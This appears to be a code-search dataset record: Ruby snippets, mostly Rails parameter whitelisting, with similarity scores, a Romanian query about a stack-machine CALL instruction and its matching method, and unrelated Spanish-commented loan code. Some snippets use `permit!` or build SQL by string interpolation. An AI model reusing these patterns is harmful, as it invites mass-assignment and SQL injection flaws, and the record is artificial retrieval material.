"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
CALL adr_salt nr_par nivel Apel de subprogram: completeaza un nod nou in stiva BAZA, rezerva in stiva de lucru spatiu pentru variabilele locale, memoreaza adresa de revenire si executa saltul la codul subprogramului apelat. VBAZA = VBAZA + 1 BAZA[VBAZA].LEVEL = nivel BAZA[VBAZA].BLOC = SP nr_par + 1 SP = SP + STIVA[BAZA[VBAZA].BLOC 1].INFO STIVA[BAZA[VBAZA].BLOC 1].INFO = NI + 4 NI = adr_salt
|
def call(jmp_addr, no_params, level)
base << [level, sp-no_params+1]
s[base.last[1]-1] = ni + 4
self.ni = jmp_addr
@jump = true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def informa(pippo)\n # 1. Calcolo i valori di c14_idaliquotaiva e la loro frequenza in lbooks\n ivaInLbooks = Lbook.gruppiIVA\n risultL = \"1. Segue hash ivaInLbooks: #{ivaInLbooks.inspect}\"\n pippo.scriviRiga(risultL)\n\n # 2. Calcolo i valori di idaliquotaiva e la loro frequenza in books\n ivaInBbooks = Book.gruppiIVA\n risultB = \"2. Segue hash ivaInBbooks: #{ivaInBbooks.inspect}\"\n pippo.scriviRiga(risultB) \nend",
"def vrat_modif_instanci\n vystup=\"\"\n @pole_dat.each do |radek| \n if(radek[0]==\"p\")then \n vystup +=radek\n vystup += \"w #{generuj_vahy(radek).join(' ')}\\n\" #pridani radku s vahami\n else\n vystup +=radek\n end \n end\n # puts vystup\n return vystup\n end",
"def create_run_code\n @index = self.short_description.index(\"ip\")\n @end_index = self.short_description.index(\"and bin_id\")\n @result = self.short_description[@index + 1, @end_index - @index]\n @string = @result.gsub(/[ipa:,]/,' ')\n @array = @string.split(/\\s*/)\n @prod_run_code =\"\"\n @array.each do |char|\n if(char==\":\")\n @prod_run_code.concat(\"\")\n elsif(char==\"\")\n @prod_run_code.concat(\"\")\n elsif(char==\",\")\n @prod_run_code.concat(\"\")\n else\n @prod_run_code.concat(char)\n end\n end\n self.run_code = @prod_run_code.strip()\nend",
"def asignacion_especial\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 12 )\n\n\n return_value = AsignacionEspecialReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __K_ASIGNACION59__ = nil\n __LPAR60__ = nil\n __Identificador61__ = nil\n __COMA63__ = nil\n __RPAR65__ = nil\n __EOL66__ = nil\n var_local62 = nil\n valor64 = nil\n\n\n tree_for_K_ASIGNACION59 = nil\n tree_for_LPAR60 = nil\n tree_for_Identificador61 = nil\n tree_for_COMA63 = nil\n tree_for_RPAR65 = nil\n tree_for_EOL66 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 80:4: K_ASIGNACION LPAR ( Identificador | var_local ) COMA valor RPAR EOL\n __K_ASIGNACION59__ = match( K_ASIGNACION, TOKENS_FOLLOWING_K_ASIGNACION_IN_asignacion_especial_325 )\n if @state.backtracking == 0\n tree_for_K_ASIGNACION59 = @adaptor.create_with_payload( __K_ASIGNACION59__ )\n @adaptor.add_child( root_0, tree_for_K_ASIGNACION59 )\n\n end\n\n __LPAR60__ = match( LPAR, TOKENS_FOLLOWING_LPAR_IN_asignacion_especial_327 )\n if @state.backtracking == 0\n tree_for_LPAR60 = @adaptor.create_with_payload( __LPAR60__ )\n @adaptor.add_child( root_0, tree_for_LPAR60 )\n\n end\n\n # at line 80:22: ( Identificador | var_local )\n alt_8 = 2\n look_8_0 = @input.peek( 1 )\n\n if ( look_8_0 == Identificador )\n alt_8 = 1\n elsif ( look_8_0 == DOUBLEDOT )\n alt_8 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 8, 0 )\n\n end\n case alt_8\n when 1\n # at line 80:23: Identificador\n __Identificador61__ = match( Identificador, TOKENS_FOLLOWING_Identificador_IN_asignacion_especial_330 )\n if @state.backtracking == 0\n tree_for_Identificador61 = @adaptor.create_with_payload( __Identificador61__ )\n @adaptor.add_child( root_0, tree_for_Identificador61 )\n\n end\n\n\n when 2\n # at line 80:37: var_local\n @state.following.push( TOKENS_FOLLOWING_var_local_IN_asignacion_especial_332 )\n var_local62 = var_local\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, var_local62.tree )\n end\n\n\n end\n __COMA63__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_asignacion_especial_335 )\n if @state.backtracking == 0\n tree_for_COMA63 = @adaptor.create_with_payload( __COMA63__ )\n @adaptor.add_child( root_0, tree_for_COMA63 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_asignacion_especial_337 )\n valor64 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor64.tree )\n end\n\n __RPAR65__ = match( RPAR, TOKENS_FOLLOWING_RPAR_IN_asignacion_especial_339 )\n if @state.backtracking == 0\n tree_for_RPAR65 = @adaptor.create_with_payload( __RPAR65__ )\n @adaptor.add_child( root_0, tree_for_RPAR65 )\n\n end\n\n __EOL66__ = match( EOL, TOKENS_FOLLOWING_EOL_IN_asignacion_especial_341 )\n if @state.backtracking == 0\n tree_for_EOL66 = @adaptor.create_with_payload( __EOL66__ )\n @adaptor.add_child( root_0, tree_for_EOL66 )\n\n end\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 12 )\n\n\n end\n\n return return_value\n end",
"def cargos_solicitud(presupuesto)\n delete = \"Delete FROM public.sep_solicitudcargos where numsol='#{self.numsol}';\" \n cargo = \"\"\" INSERT INTO public.sep_solicitudcargos (codemp, numsol, codcar, codestpro1, codestpro2, codestpro3, codestpro4, codestpro5, spg_cuenta, cod_pro, ced_bene, sc_cuenta, formula) \n SELECT distinct '0001' as codemp,A.numsol,A.codcar,\n '#{presupuesto[:codestpro1]}' as codestpro1,'#{presupuesto[:codestpro2]}' as codestpro2,\n '#{presupuesto[:codestpro3]}' as codestpro3,'#{presupuesto[:codestpro4]}' as codestpro4,\n '#{presupuesto[:codestpro5]}' as codestpro5,trim(spg_cuenta),'----------' as cod_pro,'----------' as ced_bene, \n '11212000spg_ep30001 ' as sc_cuenta, A.formula \n FROM public.sep_dta_cargos A JOIN public.sigesp_cargos using (codemp, codcar) \n WHERE A.numsol = '#{self.numsol}' \n UNION ALL\n SELECT distinct '0001' as codemp,A.numsol,A.codcar,\n '#{presupuesto[:codestpro1]}' as codestpro1,'#{presupuesto[:codestpro2]}' as codestpro2,\n '#{presupuesto[:codestpro3]}' as codestpro3,'#{presupuesto[:codestpro4]}' as codestpro4,\n '#{presupuesto[:codestpro5]}' as codestpro5, trim(spg_cuenta),'----------' as cod_pro,'----------' as ced_bene,\n '11212000spg_ep30001 ' as sc_cuenta, A.formula \n FROM public.sep_dts_cargos A JOIN public.sigesp_cargos using (codemp, codcar) \n WHERE A.numsol = '#{self.numsol}'; \"\"\"\n Sigesp::Solicitud.connection.execute(delete)\n Sigesp::Solicitud.connection.execute(cargo)\n end",
"def import_bien b\r\n\t\tLogger.send(\"warn\",b[0])\r\n\t\tLogger.send(\"warn\",\"code postal = \"+b[4])\r\n\t\tLogger.send(\"warn\",\"ville = \"+b[5])\r\n\t\tLogger.send(\"warn\",\"price = \"+b[10])\r\n\r\n\t\t# Good location\r\n\t\tgood_address = {}\r\n\t\tloc \t\t\t= BienEmplacement.new\r\n\t\tloc.pays \t\t= \"France\"\r\n\t\tloc.code_postal = b[4]\t\r\n\t\tloc.ville \t\t= b[5]\r\n\r\n\t\ttransaction_type = BienTransaction.where(:nom => b[2].up_first).first\r\n\r\n\t\tref \t\t\t= b[1].to_s.downcase\r\n\r\n\t\tnb \t\t\t\t= Bien.where(:reference => ref).select{ |b| b.passerelle.installation == @passerelle.installation }.first\r\n\t\tnb \t\t\t\t= Bien.new if nb.nil?\r\n\r\n\t\tcat \t\t\t= BienType.find_or_create b[3].up_first\r\n\t\tdesc \t\t\t= b[20]\r\n\r\n\t\tnb.is_accueil \t= false\r\n\t\tnb.passerelle \t= @passerelle\r\n\t\tnb.reference \t= ref\r\n\t\tnb.bien_type \t= cat\r\n\t\tnb.bien_transaction = transaction_type\r\n\t\tnb.bien_emplacement = loc\r\n\t\tnb.nb_piece \t= b[17]\r\n\t\tnb.nb_chambre \t= b[18]\r\n\t\tnb.surface \t\t= b[15]\r\n\t\tnb.titre \t\t= b[19]\r\n\t\t\r\n\t\tif(b[12] && (b[12].upcase == \"OUI\"))\r\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i\r\n\t\telse\r\n\t\t\tnb.prix_hors_charges \t\t= b[10].to_i\r\n\t\t\tnb.prix_charges_comprises \t= b[10].to_i + (b[22] != nil ? b[22].to_i : 0)\r\n\t\tend\r\n\t\tnb.prix \t\t\t\t= nb.prix_charges_comprises\r\n\t\tnb.honoraires_agence \t= b[14]\r\n\r\n\t\tnb.description \t= desc\r\n\r\n\t\tnb.valeur_dpe \t= b[175]\r\n\t\tnb.classe_dpe \t= b[176]\r\n\t\tnb.valeur_ges \t= b[177]\r\n\t\tnb.class_ges \t= b[178]\r\n\r\n\t\tnb.statut = 'new'\r\n\t\tnb.save!\r\n\r\n\t\t# Poliris pictures url/names are stored from entry 85 to 93 (1 based) - picture names are stored from 94 ot 102\r\n\t\tp_url_indexes = []\r\n\t\t9.times{ |i| \r\n\t\t\tp_url_indexes.push (84+i) if (b[84+i].kind_of? String) && !b[84+i].empty?\r\n\t\t}\r\n\t\tif !p_url_indexes.empty?\r\n\t\t\t# un-attach old\r\n\t\t\tnb.bien_photos.each{ |photo|\r\n\t\t\t\tphoto.bien = nil\r\n\t\t\t\tphoto.save!\r\n\t\t\t}\r\n\r\n\t\t\tnumber = 0\r\n\t\t\tp_url_indexes.map { |p| import_remote_media(b[p],(number+=1),nb,b[p+9]) }\r\n\r\n\t\t\tnb.save!\r\n\t\tend\r\n\r\n\t\treturn\r\n\tend",
"def sp\n\t\t# --Stallция Preφιcς--\n\t\ts = ['S', 'Z', 'C', 'S']\n\t\tt = ['t', 'zt', 'ct', 'st']\n\t\ta = ['a', 'å', 'ä', 'ą']\n\t\tl = ['l', 'll', 'л', 'лл', 'lъ', 'llъ', 'лъ', 'ллъ',]\n\t\tc = ['c', 'z', 's', 'c', 'z', 'ц']\n\t\ti = ['i', '', 'и']\n\t\tja = ['a', 'ja', 'ya', 'ia', 'иa','я', 'ѧ']\n\t\tpp = ['P', 'П', 'Ψ', 'Ξ']\n\t\tr = ['r', 'р']\n\t\te = ['e', 'ϵ', 'ε']\n\t\tfi = ['f', 'ff', 'ф', 'φ', 'ѳ', 'þ', 'ξ']\n\t\tjota = ['i', 'и', 'ι', 'ї', 'ј']\n\t\tis = ['s', 'z', 'c', 'σ', 'ς',\n\t\t\t\t'ss', 'sz', 'sσ', 'sς', 'zs', 'cs', 'σs',\n\t\t\t\t'zz', 'zc', 'zσ', 'zς', 'cz', 'σz',\n\t\t\t\t'cc', 'cσ', 'cς', 'sc', 'σc',\n\t\t\t\t'σσ', 'σς', 'ςς',\n\t\t\t\t'ssz', 'ssσ', 'ssς', 'zss', 'css', 'σss',\n\t\t\t\t'scz']\n\t\tsparray = [s, t, a, l, c, i, ja, [\"\\n\"], pp, r, e, fi, jota, is]\n\t\tcilibles = []\n\t\tfor i in sparray\n\t\t\tcilibles.push(i[rand(i.length)])\n\t\tend\n\t\t@spreffis = cilibles.join\n\t\t@spinitial = cilibles[0] + cilibles[8]\n\tend",
"def SAC12=(arg)",
"def actualizar_plan_general(solicitud_id,params,oficina_id)\n\n oficina = Oficina.find(oficina_id)\n logger.debug \"Actualizando Plan general ===============> #{solicitud_id.to_s}\"\n #logger.debug \"PARAMETROS ===============> \" << params.inspect\n\n @errores = ''\n @plan_inversion = PlanInversion.find(:all,:conditions=>\"solicitud_id = #{solicitud_id}\",\n :order =>\"estado_nombre,oficina_nombre,sector_nombre,tipo_item\",\n :include=>[:unidad_medida])\n\n @errores = ''\n\n begin\n\n # Creación del arreglo de los id del plan de inversion\n \n lista_id = Array.new\n params.each do |k,v|\n \n sep = k.split(\"_\")\n \n if sep[0] == 'cantidad' or sep[0] == 'monto'\n \n if v.to_f > 0 \n \n lista_id << sep[1]\n end\n \n end\n \n end\n \n lista_id.uniq!\n \n #Validación de cantidades y montos que se actualizarán en el plan de inversión\n \n @errores = ''\n \n if !lista_id.empty?\n \n lista_id.each do |id|\n \n\n if params[:\"cantidad_#{id}\"].to_f > 0 and params[:\"monto_#{id}\"].to_f == 0\n @errores << \"#{I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.cantidad_mayor_que_cero_costo_no_puede_ser_cero')} #{PlanInversion.find(id).item_nombre}\" << '|'\n\n end\n \n logger.info \"id #{id.to_s})\"\n logger.info \"Params monto #{params[:\"monto_#{id}\"].to_d.to_s} format: #{format_fm(params[:\"monto_#{id}\"])}\"\n logger.info \"Monto plan #{PlanInversion.find(id).costo_maximo.to_s} format: #{PlanInversion.find(id).costo_maximo.to_d.to_s}\"\n if params[:\"monto_#{id}\"].to_d > PlanInversion.find(id).costo_maximo\n\n @errores << \"#{I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.monto_asignado_mayor_que_costo_maximo')} #{PlanInversion.find(id).item_nombre}\" << '|'\n end\n \n end\n else\n @errores << I18n.t('Sistema.Body.Modelos.PlanInversion.Errores.debe_tener_al_menos_un_item_con_cantidad_monto')\n end\n \n if !@errores.empty?\n \n return @errores\n end\n \n #Se crea el arreglo de cantidades y montos para pasarlo a la función\n #que actualiza el plan de inversion\n \n if !params.nil?\n \n items_plan = '{'\n primero = true\n if lista_id.empty?\n items_plan = nil\n end\n if !lista_id.empty?\n lista_id.each { |x| items_plan += ( primero ? '' : ',' ) + '{\"' + x.to_s +\n '\",\"' + params[\"cantidad_#{x}\".to_s] +\n '\",\"' + params[\"monto_#{x}\".to_s] + '\"}'; primero = false }\n end\n hay_items = true\n items_plan += \"}\"\n else\n items_plan = '{'\n items_plan += \"}\"\n hay_items = false\n end\n \n logger.info \"Items Plan: ================> #{items_plan.inspect}\"\n \n PlanInversion.transaction do\n\n #Se invoca la función de actualización del plan de inversión\n \n params = {\n :p_solicitud_id=>solicitud_id,\n :p_items_plan =>items_plan,\n :p_hay_items =>hay_items\n }\n \n ejecutar = execute_sp('actualizar_plan_inversion_costo_variable', params.values_at(\n :p_solicitud_id,\n :p_items_plan,\n :p_hay_items))\n\n #@plan_inversion.each do |plan|\n\n #if params[:\"cantidad_#{plan.id}\"].to_f > 0 and params[:\"monto_#{plan.id}\"].to_f == 0\n\n #@errores << \"Si la cantidad es mayor que cero el costo no puede ser cero #{plan.item_nombre}\" << '|'\n\n #end\n\n #if params[:\"monto_#{plan.id}\"].to_f <= plan.costo_maximo.to_f\n\n ##logger.debug \"CANTIDAD #{plan.id} =======> \" << params[:\"cantidad_#{plan.id}\"].to_s\n #logger.debug \"MONTO #{plan.id} =======> \" << params[:\"monto_#{plan.id}\"].to_f.to_s\n #logger.debug \"MONTO CONFIGURADOR =======> \" << plan.costo_maximo.to_f.to_s\n\n #plan.cantidad = params[:\"cantidad_#{plan.id}\"].to_f\n #plan.costo_real = params[:\"monto_#{plan.id}\"].to_f\n #plan.monto_financiamiento = plan.cantidad.to_f * plan.costo_real.to_f\n #plan.save!\n\n #else\n #logger.debug \"Monto mayor que máximo establecido #{plan.item_nombre}\"\n #@errores << \"Monto asignado mayor que costo máximo en #{plan.item_nombre}\" << '|'\n #end #===> Fin if params[\"monto_\"]\n\n #end\n \n #======================================\n # Actualización/Creación del préstamo\n #======================================\n \n # #Prestamo.transaction do\n\n # @solicitud = Solicitud.find(solicitud_id)\n # @prestamo = Prestamo.find_by_solicitud_id(@solicitud.id)\n # logger.info \"Prestamo Leido ==============> #{@prestamo.inspect}\"\n # @plan_inversion = PlanInversion.find_by_solicitud_id(@solicitud.id)\n\n # #Buscando condiciones de financiamiento\n\n # @condiciones = CondicionesFinanciamiento.find_by_programa_id_and_sector_id_and_sub_sector_id_and_rubro_id(@solicitud.programa_id,\n # @solicitud.sector_id,\n # @solicitud.sub_sector_id,\n # @solicitud.rubro_id)\n # #Buscando tasa beneficiario\n\n # #tasa = Tasa.find_by_tipo_cliente_id(solicitud.cliente.tipo_cliente_id)\n\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n # tasa = Tasa.find_by_sub_rubro_id(@solicitud.sub_rubro_id)\n # @tasa_valor = TasaValor.find_by_sql(\"Select * from tasa_valor where tasa_id = #{tasa.id} order by id desc LIMIT 1\")\n # @tasa_valor = @tasa_valor[0]\n\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # @plan_inversion = PlanInversion.find(:all, :conditions=>\"solicitud_id = #{@solicitud.id}\",:order =>\"estado_nombre,oficina_nombre,sector_nombre,tipo_item\")\n\n # @solicitud.hectareas_recomendadas = 0.00\n # @solicitud.semovientes_recomendados = 0.00\n\n # if @solicitud.actividad.paquetizado\n\n # @solicitud.hectareas_recomendadas = 0\n # @solicitud.semovientes_recomendados = 0.00\n # else\n # @solicitud.hectareas_recomendadas = 0.00\n # @solicitud.semovientes_recomendados = 0.00\n # end\n\n # @solicitud.semovientes_recomendados = 0.00\n\n # @solicitud.semovientes_recomendados = PlanInversion.sum(:cantidad, :conditions=>\"(partida_nombre like \\'\\%SEMOVIENTES\\%\\' or partida_nombre like \\'\\%TORO REPRODUCTOR\\%\\') and solicitud_id = #{@solicitud.id.to_s}\")\n # if @solicitud.semovientes_recomendados.nil?\n # @solicitud.semovientes_recomendados = 0.00\n # end\n\n # @solicitud.save\n\n # monto_prestamo = PlanInversion.sum(:monto_financiamiento,:conditions=>\"solicitud_id=#{@solicitud.id}\")\n # monto_banco = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'B'\")\n # monto_insumo = PlanInversion.sum(:monto_financiamiento, :conditions=>\"solicitud_id=#{@solicitud.id} and tipo_item = 'I'\")\n\n # if @prestamo.nil?\n\n # logger.info \"Entro por prestamo nil ===========================>\"\n # @producto = Producto.find_by_programa_id_and_sector_id_and_sub_sector_id(@solicitud.programa_id, @solicitud.sector_id, @solicitud.sub_sector_id)\n\n # prestamo = Prestamo.new(:solicitud=>@solicitud, :producto=>@producto, :oficina=>oficina, :destinatario=>\"E\")\n\n # prestamo.monto_solicitado = monto_prestamo.to_f\n \n # # -----------------------------------------\n # # Calculo del sras\n # # ---------------------rubro---------------\n\n # parametro = ParametroGeneral.find(1)\n # factor_mensual_primer_ano = parametro.porcentaje_sras_primer_ano / 1200\n # factor_mensual_anos_siguen = parametro.porcentaje_sras_anos_subsiguientes / 1200\n\n # plazo_total = prestamo.plazo + prestamo.meses_gracia\n # if plazo_total <= 12\n # sras_primer_ano = (monto_prestamo * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = 0.00\n # end\n\n # if plazo_total > 12\n # sras_primer_ano = (monto_prestamo * factor_mensual_primer_ano) * 12\n # sras_anos_siguen = (monto_prestamo * factor_mensual_anos_siguen) * (plazo_total - 12)\n # end\n\n # sras_total = sras_primer_ano + sras_anos_siguen\n\n # prestamo.monto_sras_primer_ano = sras_primer_ano\n # prestamo.monto_sras_anos_subsiguientes = sras_anos_siguen\n # prestamo.monto_sras_total = sras_total\n\n # # ----------------------------------------------------------------------\n # # Ajuste para ubicar la tasa segun el subrubro y no por el tipo cliente\n # # Efectuado por Alexander Cioffi 18-04-2012\n # # ----------------------------------------------------------------------\n\n # prestamo.tasa_inicial = @tasa_valor.valor\n # prestamo.tasa_vigente = @tasa_valor.valor\n # prestamo.tasa_valor = @tasa_valor.valor\n # prestamo.tasa_referencia_inicial = @tasa_valor.valor\n # prestamo.tasa_id = tasa.id\n\n # prestamo.monto_banco = monto_banco.to_f\n # prestamo.monto_insumos = monto_insumo.to_f\n\n # #-----------------------------------------------------------------\n # # Inicio de la Rutina para ajustar el total gastos en el prestamo\n # # Alexander Cioffi 14/03/2012\n # #-----------------------------------------------------------------\n\n # logger.debug \"Rutina de Gastos al crear el prestamo\"\n # gastos = ProgramaTipoGasto.find_by_programa_id_and_tipo_gasto_id(@solicitud.programa_id, 1)\n # logger.debug \"GASTOS==============> \"<<@gastos.inspect\n\n # total_gasto = 0.00\n # unless (gastos.nil?)\n # if gastos.porcentaje > 0\n # monto = ((prestamo.monto_banco + prestamo.monto_insumos)*(gastos.porcentaje/100))\n # else\n # monto = gastos.monto_fijo\n # end\n # total_gasto = monto\n # end\n # prestamo.monto_gasto_total = total_gasto.to_f\n\n # #-----------------------------------------------------------------\n # # Fin de la Rutina para ajustar el total gastos en el prestamo\n # 